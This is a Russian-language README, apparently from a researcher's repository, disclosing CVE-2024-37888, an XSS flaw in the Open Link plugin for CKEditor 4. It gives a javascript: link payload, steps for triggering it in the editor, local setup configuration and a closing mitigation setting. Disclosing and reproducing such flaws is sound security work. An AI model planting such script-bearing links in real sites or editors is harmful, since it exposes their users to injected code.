
XSS PoC/эксплойт для Open Link Plugin для CKEditor 4
Этот репозиторий содержит описание уязвимости и эксплойт для CVE-2024-37888, обнаруженной и сообщённой мной.
Этот Proof of Concept (POC) демонстрирует эксплуатацию XSS-уязвимости, обнаруженной мной недавно в плагине Open Link, который при включении напрямую затрагивает все версии CKEditor 4. Уязвимость позволяет выполнять JavaScript через специально созданные ссылки внутри редактора, которые плагин не может очистить. Эта уязвимость может быть использована только внутри текстовой области, если установлен плагин Open Link. Плагин Open Link позволяет открывать ссылки непосредственно в области редактирования.
Эту уязвимость можно протестировать на предварительно настроенном экземпляре CKEditor, доступном здесь.
Вставка полезной нагрузки:
Откройте экземпляр CKEditor и нажмите на иконку "Source".
Вставьте следующую полезную нагрузку в текстовую область:
<a href="javascript:alert('XSS Found')">XSS</a>

Переключение в режим WYSIWYG:

Запуск XSS:

Вы можете настроить собственный локальный экземпляр для тестирования этой уязвимости, выполнив следующие шаги.
Загрузка CKEditor 4:

Установка плагина Open Link:
ckeditor/plugins/openlink.
Обновление конфигурации для включения плагина OpenLink:
config.js CKEditor, добавив следующие строки в конец:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Включение CKEditor в HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Эта уязвимость была обнаружена в кодовой базе плагина Open Link, а не в кодовой базе CKEditor 4. Приведённый выше POC демонстрирует эксплуатацию XSS-уязвимости через плагин Open Link в CKEditor 4.*.*. Уязвимость позволяет выполнять произвольный JavaScript через специально созданные ссылки, что представляет собой значительный риск для безопасности.
config.disallowedContent = 'a[onclick]';